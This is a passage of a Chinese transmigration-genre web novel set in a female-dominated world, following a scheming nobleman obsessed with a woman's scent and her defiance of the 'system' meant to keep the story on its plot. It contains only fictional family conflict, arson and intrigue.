他斜睨着被打偏了头去的青年,眸中流露出如毒汁一般浓稠的厌恶,嘴角却克制不住地扬了起来:“愚奴啊愚奴,你总是让我无数次后悔生下你。” 言奉灵闻声转正脸,不出所料地瞧见对方眉梢眼角还未散尽的畅快之意。 他呼吸一窒,继而也跟着舒展眉眼,翘起的唇瓣牵扯起被打了两次的左脸颊肉,尖锐的痛麻感自下辐射进胸腔。 言奉灵声音哑了瞬:“父亲错了,没有儿子,娘只会更快厌弃您。” “即便您再怎么搔首弄姿,穿得同府外的贱人们一样,她也不会看您一眼。” 说罢,他笑吟吟直视向褚岸汀。 沁冷月光下,两双近乎一模一样的眼睛彼此敌视着,仿佛厮杀纠缠了百世的仇人,伺机想要狠咬口对方的皮肉骨血,以此泄愤。 几瞬后,终是更加青白的那双率先移开视线。 言奉灵无声吸了口气,待缓缓吐尽后才道:“琅苑那位有了,是母亲出事前怀上的,大半个月前 查出了女胎。” 此话一出,面前人陡然变了脸色。 言奉灵就着月光,静静望着自己的生身父亲。 ——丑陋。 尽管见过无数次父亲忮恨他人时的模样,言奉灵仍觉得丑陋。 为了个负心、滥情,早已不爱自己的女人,变成如斯恐怖模样。抛弃身为世家贵子的尊严、体面,如条发.情得不到纾解的雄犬般伏在对方脚边求爱,求而不得便赤.身裸.体、大哭大闹。 外祖父才应该后悔生下他...... 不过很快,言奉灵便见对方又换了副神情。 褚岸汀几步走上前,在儿子诧异的的目光下伸手摸了摸他的脸,语气里满是怜爱与愧疚:“好愚奴,还疼吗?” “爹爹错了,方才不该下手这般重的,愚奴原谅爹爹好不好?” 脸颊上温暖与刺痛交加的熟悉感觉令言奉灵怔在原地,好几瞬后才反应过来躲开对方的手。 言奉灵连连后退几步远离父亲,唇角那抹若有似无的笑消失殆尽,语气冷硬:“儿子可以帮你,但前提是,父亲要回答我一个问题。” 褚岸汀自然地收回手,仿佛刚刚父慈子孝的那幕从没有发生过似的,拢着自己身上的披风,语气讥诮:“你的确是我亲生的,都这么大了,愚奴还要反复向爹爹确认吗?” 言奉灵默了瞬。 想起自己幼时,的确曾哭着多次向褚岸汀询问过这个问题。 得到的都是肯定答复。 然而小时候的他并不相信——如果自己真的是父亲所生,对方却为何表现得如此痛恨他? 这世上的母父不都是疼爱孩子还来不及的吗? 言奉灵闭了闭眼,再睁眼时眸底已恢复了平静,望着对面父亲道:“当初你和娘是怎么认识的,再见时她记住你了吗?” 很小很小的时候,言奉灵记得很清楚,那时候娘只是经常同父亲争吵,还未置外室动不动便大半年不回家。 父亲高兴的时候,会抱着他一遍遍地讲自己与妻主究竟有多么相爱。他的那些叔叔伯伯们,有多么羡慕他能和自己爱的人长相厮守。 然而言奉灵却完全没有听父亲提及过二人是怎么相识又是怎么在一起的。他出于好奇私下问过,但无论是父亲的贴身小僮还是母亲用过的旧仆,对此都含含糊糊。 前者推脱说从没注意过,后者则全都是哑巴。 “哈、” 闻言,褚岸汀先是愣了下,而后急促地哈笑了声,似是瞧见了什么新奇玩意儿,甚至绕着儿子走了几圈。 “你有喜欢的人了?” 褚岸汀双眼放光,还未干涸的眼角迅速渗出湿意来,这次却是因为极端的兴奋。 对此,言奉灵没有点头也没有否认,就这么直直地望着他等待回答。 确切地说,比起喜欢他更想得到余从姝。 毕竟自有记忆以来,余从姝算是第一个,他见了不会心生厌烦的女人。加之经过这几日的深入调查,对方无论是家世背景抑或是人品性格,都很合适。 如果非要成婚才能完全掌控言氏,言奉灵选择余从姝做自己的妻主。 如今他身量已然超过了父亲,再不用仰头望着对方了。除此之外,他也比父亲更强大、更坚定、更聪明、更果决,他确信同余从姝成婚后,对方不会背叛自己、更不会...... 忽然,啪啪啪的响声打断了言奉灵的思绪,他怪异地看着在自己面前忽然拍起手的父亲,对方正笑得花枝乱颤、前仰后合,胸腔里溢出连珠串般愉悦的笑声。 “哈哈哈哈哈,报应啊!” 褚岸汀乐得身子摇摇晃晃,一手指着言奉灵,脸上甚至笑出了眼泪,“你要变得跟我一样了哈哈哈哈......” “不、不、不,你会比我更痛苦。” 自以为是、自觉理智的人在爱情面前往往登高跌重。 褚岸汀笑得上气不接下气,脖颈额角甚至都迸起了条条青筋,不断重复说:“这就是命,哈哈哈哈我们褚氏儿郎的命!” “哈哈哈,小贱人要遭报应啦!” 8.八个好妻主 再次回到自己院儿里时,已然过了往日就寝的时辰。 言奉灵重又沐了浴,期间闰禾拿来药膏与熟鸡蛋为他敷脸消肿。 后者望着自家公子那白皙脸颊上交叠浮现的沁红五指印,小声嘟囔道:“主君也不知道心疼您,这么俊的脸,打坏了可如何是好......” 对此,言奉灵置若罔闻,类似的话从小到大他听身边人讲过无数次。 言奉灵将自己浸在融融池水里,许久,周身才被温暖得再次松快下来。他靠着光滑池壁,垂睫想着父亲最后说的那句——“我与你娘是一见钟情,当时她便立誓非我不娶!” 一见钟情么? 非他不娶么? 可为何如今他的妻主连与他共处一室都难以忍受,求着自己这个儿子另僻一间房换人照顾? 想到这儿,言奉灵扯唇轻笑,今日积攒的所有郁气陡然消散了大半。 心情舒畅不少,望着水面袅娜的雾气,言奉灵的思绪不由自主地想起大半个月前自己和余从姝的初遇。 那日临入夜琅苑传来消息,言奉灵前去处理,再回府时不巧撞上了宵禁巡逻的衙役。 为了避免多生事端,言奉灵命下人就近隐藏软轿再派一人引开巡卒,自己则带着仲楸打算从后方绕道回府。 随着夜渐深,街头巷尾逐渐弥漫起薄雾,借着雾气的掩映,二人很快远离了事发地。 然而就在这时,意外发生了。 仲楸被不知从何处窜出的人影突袭,被迫与其缠斗在一起,后者浑身是血、举止疯狂显然理智全无。 言奉灵反应迅速,转而朝二人相反方向逃去,熟料刚进沁竹巷,一柄染血长刀便劈了下来。 那刀刃比头顶月光还要冰亮,教言奉灵清晰地瞧见自己倒影其上的因恐惧而大睁的双眼。 躲闪已来不及。余从姝便是那时突然出现在他眼前的。 年轻女人伸手一拉,轻易便将他解救出了死亡的境地。 因着惯性,言奉灵趔趄地撞到了对方身上,霎时间,一股清幽冰冽的浅香蛮横地闯进他的鼻腔。 时至今日,言奉灵仍能清晰地回忆起那香气带给自己的奇异感受——时间仿佛被无限拉长了一般,视线中除了眼前人清冷优越的侧脸便只剩黑暗。 与此同时,数不清的虫蚁排队从他的腰脊处钻入又窸窸窣窣一路爬过背身抵达后脑,最后再轰地一下散开。 酥麻到无以复加、舒爽到难以形容。心跳更是快到几欲炸掉。 有那么一瞬间,言奉灵不知自己是生是死,是现实抑或是虚妄。 待他再回过神儿时,四周除了渐浓的雾气便只剩自己一人,怅然若失。 当晚回府后,言奉灵立刻画了副像命闰禾加紧去寻,他太想再体会一次那番震撼感受。 结果一连十几日音讯全无,直到那天府门相会。 兜兜转转、柳岸花明...... 浴池内,言奉灵长长吁了口气,面颊上的红痕没有消去反倒更加的糜艳。 一旁的闰禾瞧见这幕有些莫名,看了看自己手中的鸡蛋和药膏,一时之间不知该不该继续。 言奉灵于是挥手将他遣了出去。 远去脚步声消失后,净室内只余青年一人。 不多时,哗哗水声与沉重呼吸一同响起。 没了玉塞,银浆般的热泉源源不断地自竹管中流出,泼浇在言奉灵那宽薄脊背与起伏的前胸上,很快便将瓷般白腻的皮肤烫得如同温软粉玉。 叮咚水音里,言奉灵吮咬着自己右手背上的一块皮肤,如同蝴蝶汲取花蜜,贪婪嘬吸其上被女人指尖碰触过后恍惚残存的那缕清香。 他下颌抬起,如玉的喉结不断滚动,双眸微阖,眼尾渗着醉酒似的醺红。 湿润的墨发缕缕如游动的小蛇又像水蛭,粘附在言奉灵面颊、脖颈、后背与蓬蓬热气一起氤氲了主人的五官,为其更添了几分惊人风情,尾巴则没入池水中兴奋地摇曳。 直到手背处熟悉的温热与刺痛传来,言奉灵才恍恍然睁开眼,眸底水光潋滟神情却是清明无比。 “哈啊......” 他长叹出声,心中塞满了如棉花云朵般充实饱胀的期待与得意。 报应? 逃不过的命? 会比如今的父亲过得还要痛苦? 言奉灵举起右手,目光落在手背处那块被自己用牙齿噬咬得红通通的皮肉,缓缓一笑。 不不不,他才不会愚蠢到,抛弃所有、奋不顾身,最后将心全然托付给一个烂人。 他只会以实际行动、最终结果告诉父亲——你是错的,大错特错。 你对我的所有‘期望’都不会实现。 言奉灵缓缓收拢紧五指,像当初一点点收拢氏族财势那样紧。 他目光灼亮而锐利,确信这世间没有什么是自己想要却得不到的。 钱、势、人、爱,他都会有。 他会过得比父亲、比所有人都要幸福。 一定会。 *** 因得落水后没及时更换衣物,余从姝回去后当晚便发起了高烧。直烧到第二日咳嗽怎么都止不住的地步时,才被6688系统察觉出异常。 “宿主,你是不是生病了?” 刚刚结束上一轮剧咳,此刻面色还泛着异常潮红的余从姝低低嗯了声,重又拿起桌上的毛笔,向来清冷的嗓音有些沙哑:“应该吧。” 6688语气惊讶:“什么叫‘应该吧’,虽然我看不到你的人,但一听你这声音就知道情况严重!” 系统忍不住腹诽——让你打重要男配的主意,这下好了吧...... 余从姝语气依旧平淡,手中毛笔不停,“没事。” 见她对自己身体毫不在意,6688出声劝道:“宿主你还是多少吃点药吧,你自己不在意身体别人还在意呢。” 系统腹诽:你要是死了,我任务也黄了...... 闻言,余从姝埋头抄书的动作终于停了下来,她先是怔忡几瞬,而后忍着胸腔的剧烈咳意问:“系统,能让我看眼家里人吗。” “看完我就吃药。” 介绍任务情况时,6688曾带过一嘴,说书中剧情与外界现实的时间速度流动不同,书中时间过去一年,外界现实可能才过去一分钟。 余从姝忽然想看姥姥一眼。 谁知系统听后立刻表示拒绝:“不行,主系统有明确规定,任务期间禁止宿主私联外界,被发现的话我也会跟着遭殃的!” 说罢,它仿佛才反应过来自己面对的人是谁,语气立刻变软了些:“五个月而已,不过一转眼的事儿,宿主完成任务就能出去了。” 闻听此言,余从姝没再坚持,垂下眼继续默默抄书。 那一整夜,郑府最偏院落里女人剧烈的咳嗽声一直未停。 翌日清早,余从姝装好自己通宵抄完的整本《论语》,洗漱收拾妥当后与郑寻景前后脚出了府。 一路上,6688察觉到她步子较之以前略有些沉,其余倒再无别的异常,就连咳嗽都好了许多。 心下便以为昨晚的事就这么揭过了。 直到瞧见余从姝卖掉抄本后,并未像往常那样去天桥摆摊而是径直走进了一家茶楼。 余从姝花十文钱向店小二要了壶最便宜的龙井,坐在三楼一处偏僻角落里,边喝着茶边听一楼大厅的说书人讲话本。 就这么悠闲过了半小时后,6688终于坐不住了,忍不住出声问道:“宿主,你来这里做什么?” 尽管喝了茶,余从姝嗓音依旧有些沙哑,她语气淡淡道:“看戏。” 系统闻言下意识回了句:“这里哪有什么戏、” 话还未说完,便被二楼传来的一声含羞带愤的怒叱 给截断了:“登徒子,放手!” 紧随其后的是一道清亮女声,话音真挚:“抱歉这位郎君,在下当真不是故意冒犯你的,还请郎君息怒......” 听闻这熟悉的对话,6688顿时激动起来。 这声音、这台词,不正是书中女男主的初遇剧情吗? 男主郑寻景为了避开府中随从,乔装打扮入茶楼约见男医,想要向对方讨教这几日落下的医理。 而女主夏清扬则阴差阳错将他认成了好友前几日送予她的那位貌美琴伎...... “太好了,女男主终于相遇了!” 正当6688系统兴奋之际,耳边忽然传来余从姝的一声轻笑:“是吗,那我去瞧瞧......” 余从姝说着,手撑桌角缓慢站起了身。 系统闻言一愣,随即在她脑中叫道:“现在过去瞧,宿主你疯啦!” “原定剧情要是被人为破坏,我不仅会被罚,你也会没命的!” 余从姝对此置若罔闻,脚步缓慢地朝楼梯口走去,颜色苍白的唇畔甚至还萦着方才的那抹笑。 “我真没吓唬你,即便宿主自己不想复活,也要替别人考虑一下!” 见她丝毫不怕,系统语气越发急切起来:“剧情要是崩坏,后果会不堪设想!” 年轻女人动作依旧不停,只是下楼时脚步虚晃了晃,最后不得不以手撑墙,慢慢拾阶而下。 耳边系统仍在崩溃大喊:“一切都会完蛋的!” 余从姝眨了眨眼,虽然这两三天的持续高烧带给她的痛苦浅到可忽略不计,可身体上的虚弱终归影响到了她做事。 若是姥姥知道了,大概又会自责难过地在她面前哭个不停。 等余从姝下到平台处,二楼女男主的对话仍在继续,此时她与双方的距离,近到只需转个弯,便能六目相对。 这边,余从姝刚刚提步,还没迈出去,便听脑中系统大喊出声:“别、别、别,我答应你!” “我答应你还不行吗呜呜呜。” 6688欲哭无泪,语气里满是挣扎和不愿:“这要是被主系统发现了,肯定二话不说关小黑屋的。” “宿主一定不会想知道,那小黑屋究竟有多可怕,是个系统都不想——” “立刻,谢谢。”余从姝出声打断了它的话,虽然停下了迈步的动作却并没有真正收回脚。显然是发现了系统想要搞废话拖延的小心思。 6688当即一噎,最后只能咬牙切齿却又无可奈何地为余从姝操作。 “好,我这就给你开!” 几乎是它话音落后的下一秒,一团浅青色的漩涡便浮现在了余从姝脑海中。 系统播放的是她出事前几分钟的画面。 急救室里,姥姥脸上扣着氧气面罩,手腕以及身上连接着各种医疗仪器的导线,周围充斥着医护人员忙碌的身影。 成年后,余从姝早已习惯这种场景,此时脸上的神情并无波动。 然而下一秒,手术台上的姥姥像是察觉到了什么,忽然偏头朝她的方向望来。已然浑浊的眼睛里,充斥着分明的担忧。 对她的担忧。 一如六岁那样,发现她骨折许久肿得几乎穿不进鞋子的脚趾时的样子,眼底的心疼与自责重得将还健康的老太太压得直不起腰。 余从姝偏过头,不敢再与另一个维度的姥姥对视。 “还要看其他人的吗?”6688悬着一颗心问。 余从姝摇摇头,除了姥姥,这世上她再不牵挂谁了。即便没了自己,余从姝也相信爸爸会将妈妈照顾得很好。 毕竟她们一向如此,妈妈眼中除了实验只有爸爸,爸爸眼中只有妈妈。 6688系统见状,立刻关闭了操作,事后还如释重负地松了口气。 然而就在这时,余从姝忽然迈步,施施然走出了隐身的楼梯转角。 9.九个好妻主 “啊啊啊啊!站住!快站住!” 看到这一幕的系统顿时响起杀猪般的尖叫:“余从姝你是烧傻了吗,回去、快回去啊!” “剧情万一崩了,咱俩都得完蛋,你要找死吗!” 可任凭6688如何反对催促,余从姝依旧脚步不急不缓地往楼下踱。 很快,她便将此时整个二楼的情形尽收眼底。 只见不过一会儿的工夫,起争执的女男主四周便有了不少人围观。 茶客们聚在一处,对着中间二人指指点点:“清白男子?清白男子怎会是这幅打扮,也难怪人小姐会认错。” “好好的小郎君,不呆在家侍弄男红孝顺母父,跑茶楼里凑什么热闹,这是他该来的地儿?” “儿郎家脾性如此刚烈以后怎么找婆家哦......” 无一例外,都在嬉笑或者指责郑寻景。 余从姝的目光随之落到背对着自己的郑寻景身上,发现他换下了出府时的锦缎斓衣,如今身上着的是件颜色素净的曲襦领,头发半挽,面容被雪白面纱遮盖着只露出一双眼睛,手中抱着把琴。 还当真是乔装打扮。 余从姝的视线从郑寻景气恼得通红的耳尖划过,看向他对面站着的年轻女子。 ——女主夏清扬。 与全副武装、遮遮掩掩的郑寻景相比,夏清扬的打扮清爽且利落。她衣式虽简单低调配饰却十分华贵,腰间玉佩泛着莹润光泽、手中剑柄上鸽子蛋大的红宝石华光璀璨,举手投足贵气且倜傥。 任谁见了都不敢轻易怠慢。 余从姝想起文中形容女主那把红宝石长剑吹毛断发、削铁如泥,不由地意动多瞧了几眼,谁知下一秒其主人忽然抬头,直直望了过来。 “警告、警告,若宿主执意不听劝告破坏原定剧情系统将采取强制措施,电击倒计时三、二、呃——” 正疯狂发出警告的系统立时像被掐住了脖子的瘟鸡,几秒后才抖着嗓子惨嚎:“啊啊啊这下真的完了、完了、全完了......” 原女主性情好奇敏锐,某人某事一旦引起她的注意,后者便会刨根问底,文中很多剧情也因此得以展开。 余从姝若是被她留意上,剧情崩溃是迟早的事。 与此时慌乱绝望的系统相反,余从姝神情稀松,同夏清扬眼神相接后又平静移开视线,脚下步伐徐然平稳。这期间,耳边还不断传来郑寻景掷地有声的叱责。 “本公子才不接受你的道歉,下次若瞧见你对别的儿郎也这般轻浮无礼,我定要你付出代价!” 郑寻景气得手抖,眼前这渣滓纨绔冒犯了人连道歉都不认真,就该扭送到衙门重打五十大板! 说罢,郑寻景将手中夏清扬小厮塞来的一锭金子又重重砸了回去,怒瞪了其主子一眼后,转身冲出好事人群快步下了楼。 行动间,怀中的琴头甚至险些创倒一旁的绢纱屏风。 屏风后,6688系统像是刚从砍头台上被救下的犯人,带着心有余悸的哭腔大骂:“呜呜呜混蛋,我们刚才说好的,你背信弃义!” 换宿主,它要换宿主! 余从姝正目送郑寻景下楼的背影,半晌,才语气疑惑地回它:“奇怪,我刚才有答应过你什么吗?” 系统顿时被噎得失语,许久都没能吐出一个字。 心中却暗恨——可恶,又被她给阴了! 6688系统的糟糕心情一直到这当日夜才稍稍放晴。 跃下高高的郑府围墙时,余从姝没站稳踉跄了下,下一秒便听脑内许久不出声的系统幽幽道了句:“你是真不怕死啊。” 6688快速回想了遍余从姝今天白日里做的所有事,早上去茶楼借女男主威胁它、中下午天桥摆摊替人抄书代写、傍晚又找了份渡口扛货的工作...... 如果它没记错的话,这期间余从姝好像根本没吃过药,甚至午饭都是随手买的一块胡饼简单凑合解决的。 如今她高烧未退,竟还要翻墙往外跑。 想到这儿,6688气再多也消了,因为余从姝最大的仇人是她自己。 余从姝后撤一步稳住脚跟,闻言淡淡回了它一句:“别羡慕,你也可以。” 系统:“......” 令6688有些意外的是,今晚的余从姝出府后并没有像往常那样去黑市或者地下赌场挑选顺眼的猎物,而是选了条巷子七拐八绕起来。 没多久,余从姝便甩开了身后坠着的那条尾巴。 “奇怪,哪儿去了?” 眼瞧着年轻女人身影消失在了巷尾,黑影急急上前几步,却终是跟丢了人。 黑影环顾四周,如何都找不出余从姝的踪迹,正当她麻烦回去后该如何同主子交差时,身后忽地刮来一阵冷风。黑影脊背顿时掀起一阵鸡皮疙瘩。 她下意识低头,就着明亮月光惊异地发现自己脚下多出了一道影子。 只见那影子纤长、衣袂浮动,下一瞬,猛然朝她伸出了手。 *** 棂外月光溶溶,落了窗下青年满头满肩,他雍丽的面容上此刻正双眉紧蹙,显出几分薄怒与沮丧来,神情却也因此更加光艳几分。 一时间,万籁俱寂,就连花丛中飞舞闪亮的萤虫都不自觉落在了叶梢,静静欣赏这幕。 言奉灵垂眸望着香盘中淡青色的袅烟,凝神思索着究竟是哪里出了问题。为何就是调配不出他想要的味道? 余从姝熏衣用的香粉到底是什么方子? 一连失败几十次,言奉灵不甘,旋即又翻开哪本书页泛黄老旧的《言氏香乘》,想要从中寻出破解之法。 不知过了多久,闰禾推门走了进来,手中还端着杯安神茶:“公子,太晚了,该歇息了。” 见是他来,言奉灵抬手接茶的同时问:“城西那处偏枝的事,解决得如何了?” “回公子,都按您的吩咐去办了。”对方随即点头。 闻言,言奉灵紧蹙的眉头这才放松了些,却仍不忘叮嘱:“动作小心些,她们中有人会些手段,并不似表面看起来这么蠢笨。” 闰禾先是应了声好,随后似是再忍不住,气不过地开口:“尽是一群喂不熟的白眼狼!” “家主康健的时候不见得她们有多关心,如今家主出了事,倒是一个个都坐不住了。竟然想扶持外面的野种进门,算盘落空后甚至还敢将主意打到公子的婚事上——” 闰禾话音稍顿,最后狠狠啐了口:“痴心妄想!” 言奉灵闻言笑了笑,眼底却丝毫不见快意,朝对方摆了摆手:“行了,你先退下吧。” 此话音刚落,二人便见一小仆急匆匆冲了进来,口中大喊道:“不好了公子,库房走水了!” 待言奉灵一行人赶过去时,冲天燃起的火焰已将四周映得光亮,库房外有不少小厮家丁正拎着水桶来往灭火。 炙热的风扑面袭来,言奉灵的神情冷得却如数九寒冰:“怎么回事。” 郝管事不停地用巾子擦着额头上的汗:“回、回公子,这火起得突然,事先老身才安排下人排查过一遍,应、应当是有人故意为之......” 闰禾扭头愤愤道:“公子,定是偏枝的人干的!” “他们眼瞧着自己捞不着任何好处,便也不想咱们好过,于是便、” 他话还未说完,便被言奉灵冰冷睨来的一眼给打断了。 闰禾立刻抿紧了嘴,心下顿觉自己失 了言,即便私下里言氏各枝斗得再狠,也不是能摆到明面上说的,更不是他一个下人能置喙揣度的,人多口杂。 言奉灵重又将目光移到面前的熊熊大火上,眉心紧锁。 一府内,除了前后院主人的起居室,最重要的莫过于存放粮食、金银等贵重物品的库房。 而言府的库房,除却以上两种,还多了绫罗绸缎、古董字画、几十种如龙涎的名贵香料等,如今皆付之一炬,损失不可谓不大。 最重要的是,那个东西还在里面。 只听言奉灵沉声吩咐郝管事:“传令下去,谁能抢出库房里的那口楠木小箱,赏百银,再赐良田地契。” 此话一出,四周灭火的下人们泼水更卖力了些,都想赶在其他人前头拿下赏赐。 “公子,火场危险,仆扶您回去吧。”眼瞧着火势得到控制,被扑灭已然是迟早的事,闰禾适时提议。 言奉灵闻言点头,炙热火光熥烤得他本就不算好的心情愈发烦躁,不消闰禾提他也再待不下去。 这厢,言奉灵将将迈步还未走出多远,不知打何处袭来的一股温热夜风令他蓦地止住了动作。 言奉灵抬眸,面上惊喜与茫然交织,在身侧烁烁火光映照下,显得分外荧惑妖冶。 “公子,怎的了?” 仿佛丝毫没听到闰禾的关切般,言奉灵推开对方搀扶的手,朝仿佛是风吹来的方向急急走了几步。 失火的库房犹如一把火炬,将四周照得通亮,却也衬得远处的夜色此时浓得像块粘稠的墨。 言奉灵不自觉微瞠大了眼,视线在其中逡巡觅求着,心中渴望再来一缕风助自己拨云见月的同时又觉异想天开。 怎么可能,余从姝此时怎会出现在这里。 被派去的那些探马们回来向他复命时无一不强调余从姝生活轨迹的规律、为人的老实——早起辰时出郑府,先去书苑卖抄本,三刻左右到达天桥摆摊代写,午时二刻花一文钱买张胡饼当午食,临近天黑时收摊回郑府。 哦,前几日又多了项去药堂向大夫讨教医理。 那些人闭着眼睛都能知道余从下一步要做什么,后者甚至就连吃喝也可以许多天不变。至于普通女子闲暇时爱逛的茶肆、花巷、戏院子等,她也从未踏足过一次更别提夜晚外出郑府。 若不是言奉灵内心十分笃定,在得到余从姝的否定后,他真会怀疑那晚沁竹巷现身搭救自己的人不是她...... 好似听到了他的希冀般,不多时四周便又起了阵风。 霎时间,那香更真切了几分,即便同花苑中浓烈到有些哄闹的茉莉蔷薇混在一起,依旧能令言奉灵的呼吸为之震颤。 言奉灵忙不迭地朝前走去,心脏跟着砰然。 可待青年远离了‘火炬’,一脚踏进昏黑□□时,风停息止,他再次迷失了方向。 言奉灵的呼吸难得有些紊乱,他环顾四周,如失去了光明的飞蛾,心中不可遏制地泌出几分失落的酸。 然而就在这时,一只手自后伸出,紧地扣住了他的手臂。 言奉灵脊背一僵,待瞧清来人是谁后,心下放松的同时里面兜着的酸也全然溢了出来。 “公子,有人抢出了您要的东西,管事的请您过去点点。” 闰禾说罢,视线落在他神情不霁的脸上,犹豫问:“公子,您不高兴么?” 言奉灵闻言挣开他的手,语气淡漠:“你看错了。” 说罢,他转身朝回走去。 一树之隔,黑暗中的余从姝缓缓收刀入鞘,透过身前繁茂蓊郁的蔷薇丛,目送言奉灵逐渐远去。 女人向来波澜不起的眼底泛起丝丝涟漪,扬起的眉尾久违地显出几分盎然之色。 10.十个好妻主 “杀人又放火,你的良心真的不会痛吗!” 郑府偏院,余从姝刚脱下身上的夜行衣便听脑中系统如此痛心疾首地开口。 她随即笑了下,语气有些疑惑:“为什么会疼?” 6688噎了一噎,小声哼哼道:“也对,不是你的东西,才不会心痛。” 余从姝仍是笑——是她的,她心也不会痛啊。自己倒想尝尝痛是什么滋味,只可惜...... 余从姝正想着,只听系统忽然又问:“你心情很好?” 她顿了下,反问对方:“有吗?” 6688嗯了声,虽然有些憋屈但说出了原因:“你今天对我有问必答。” 要搁以前,从它开口讲第一句余从姝便会直接无视掉,根本不可能对话到现在。系统不由地怀疑对方是不是准备又要阴自己了。 余从姝闻言沉默了几秒。她很少有心情好或者坏的时候,如果心情好坏可以用折线图展示出来,那么她的大概常年是条直线。 她不觉得自己的心情很好,只是感到胸腔的部分有些轻盈。 这么长时间以来,言奉灵是第一个差点发现她所在位置的人,多有趣。 那日系统提供的言奉灵对推动女男主感情发展十分重要的借口不足以成为她放过他的理由。 但是现在,余从姝不得不承认,今晚言奉灵的一些表现的确令系统那边的砝码重了些。 片刻后,余从姝点了点头:“或许吧。” *** 西边落日煌煌,将粼粼江面都映照成了丰腴肥膏般的金黄。 渡口边人来人往,每每有运货的大船靠岸,岸边都会掀起一阵嘈杂哄闹,许多劳工打着赤膊便一拥而上生怕晚一点就没活干,彼此你争我抢引得押船人破口大骂:“格老子的,搞坏了货,老娘把你们爪子给剁喽!” 吵吵嚷嚷间,又有一艘货船靠岸。 船上先是跳下来四五个体型剽悍的年轻女人,她们手持长鞭或者带刺的棍棒夹道站立,个个面带凶像,周围人打眼一瞧便知她们是富贵人家养的烈犬。 很快,十几个蓬头垢面、衣衫褴褛的人被推搡着下了船,他们有老有少,个个面黄肌瘦、神情惊惧又茫然。 “走快点!” 忽然,一烈犬给了末尾的人一鞭,后者当即哀嚎出声,口中吐出的一长串陌生语言顿时吸引了余从姝的注意。 对面正给她结钱的工头见状,笑问:“咋,你没见过蛮人啊。” 余从姝摇了摇头。 刚好手上没活儿,工头又是个健谈的,随即同她解释了什么是蛮人。 简单来说,景国以南,没有形成国家只以部落存在的人,都是蛮人。 景朝历来都有买卖蛮人做奴隶的传统,主人们觉得他们耐打皮实吃饭少又肯干,最重要的是价钱便宜,又因为异族,所以死了官府也不会追究。 工头家就有两个蛮人仆从,于是她兴冲冲向余从姝建议:“你攒攒钱,说不定年底也能买个回去用。” 余从姝则问:“他们都是被族人卖来的?” 工头挠挠头:“应该吧,要不然咋来的我们这。” 闻言,余从姝重又将目光落在还未走远的那几个蛮人身上。 清一水儿的年轻男子。他们中有人看似穿得破破烂烂,可露在外的皮肤却是白净匀称的并不过分消瘦这说明对方在被卖之前生活过得不错,走路姿势虽然畏畏缩缩但明显是怕被打,并不是身体上有什么疾病。 这里是女尊社会,男子负责生育,负责生育的人在哪里都是宝贵的。 所以比起被族人卖,余从姝觉得被拐的可能性更大。 自小,余从姝便喜欢观察周围人的言行举止,从细节中推算对方先前曾经历过什么,最后验证时十之七八都是对的。 是以她很肯定自己方才的判断。 将结论告诉系统后,对方却回:“有这精力,你先关心下自己吧,病还没好就干高强度体力劳动,真是不想活了......” 余从姝没有应声,她从那些地痞流氓手中得来的钱总得找个正当渠道洗干净。文弱书生渡口扛货,虽然听上去有些ooc,却恰恰符合原主正直、正经到有些死板的人设。 毕竟在大多数人的认知中,想要挣到足够多的钱,就得努力、脚踏实地、肯花力气。 这厢,渡口工头结算好,将银钱递到余从姝手上时咧嘴笑了笑:“原先瞧着你弱不禁风的以为干不了,现下发现倒是小瞧妹子你了。” 余从姝刚掏了力面皮又生得白,即便方才用清水擦洗过,此刻脸上仍透着濡红,神情虽依旧冷淡眼瞳却雾濛濛的,乍一看倒真有几分粉面书生的文气。 可她干起活来,又一人能抵俩,既不偷懒也不多话,很让人省心。 余从姝没有应声,只朝对方道了声谢后便离开了渡口。 6688以为余从姝累了一天,这下总该回郑府休息了,哪知道对方上岸后脚步一转进了间僻静药堂。 一个多时辰后,余从姝将东西妥帖地装进随身带来的布包,又仔细地挽上扣。这厢,她刚要跨出门去,身后却有人几步追了上来,拉住了她的手腕。 老大夫语气着急:“余姑娘,你这风寒若不赶快治好会落下病根的!” 余从姝望着眼前比自己姥姥小不了几岁的老大夫有一瞬的恍惚,回过神后微用力挣开了她的手,退后一步朝对方行了半礼:“多谢康大夫,只不过在下的银钱方才都、” “哎,不要钱,这药丸就当 是老身送你的,如今像你这般肯下苦功夫学医又有天赋的年轻人已经不多啦!” “常人都觉得学医苦,还没前途,要老身说这年头能学个手艺吃饱饭比啥都强......” 康大夫絮絮叨叨说着,将手中药瓶硬塞进了她手中。 见推辞不过,余从姝只好收下并再次向对方道了声谢。 一人一系统刚出郑府时还是金阳初升,而今已暮色四合、凉气上涌,路上的小摊小贩们都陆续收拾东西准备回家。 当下两位正处在城东南角,而郑府则位于城西北角,回去的路至少要走上小半个时辰。 见余从姝虽接下了那老大夫的药丸,却并没急着吃,6688于是开始复盘起今天她所做的一切来。 而后震惊地发现这一整天下来,余从姝竟然只吃了张成人巴掌大的胡饼喝了壶水,其他再没吃喝别的,顿时怀疑对方究竟还有没有体力走回郑府。 谁知这想法刚一浮现,系统便只听扑通一声。 如果6688此时有权限查看余从姝的身体数据,便会震惊地发现对方的健康值已发出红色警戒。 意识消失的前一秒,余从姝隐约听到身后传来急促脚步声,以及珠玉互相碰撞发出的声响。 叮叮零零,很清脆,像小时候被她玩坏的那串风铃。 *** 夜幕低垂,天上繁星烁烁。 “药熬得怎么样了,公子那边已经有些急了。” 闰禾站在庖房前,对着里面的人询问。 “好了好了,这便好了,还请闰禾哥哥稍等片刻。”里面随即有人殷切应声。 自对方手中接过托盘,闰禾不敢耽搁分毫,转身朝正堂方向快步而去。 待到快要临近时,闰禾眼尖地发现方才还在屋内伺候的下人此时竟都守在门外。 闰禾心生疑惑,却并未多想,随即腾出一手推门。房门未闩,跟着他的力道无声裂开一道缝隙。 抬目只瞧去一眼,闰禾动作便立时一顿。 只见澄黄摇曳的烛光下,方才还端坐在对面檀椅之上啜茶的自家公子不知何时竟躬身站到了女人榻前。 背上的发丝纷纷滑落至他身侧,在灯光的照耀下,泛着恍眼的墨紫色光晕,犹如一匹品质极佳的绸缎。 ‘绸缎’遮掩住了主人白皙面庞的大半,只能教闰禾瞧见后者紧抵在女人腕间皮肤上嗅吻的那截挺直鼻尖。 青年惬意地眯起双眸,眼尾的大片皮肤已然被熏得汛红而潮湿,寂静屋内不时响起清晰的吞咽声。 咕啾—— 闰禾呼吸一滞,刚想收手,哪知下一瞬对方竟猝然转过了头。 对上言奉灵锐寒视线的刹那,闰禾全身掀起一层鸡皮疙瘩,心如擂鼓。 11.十一个好妻主 今日的言奉灵心情格外躁郁,想要的香方迟迟调配不出、昨晚库房还莫名走水,事后不仅损失巨大就连纵火者也没抓到。 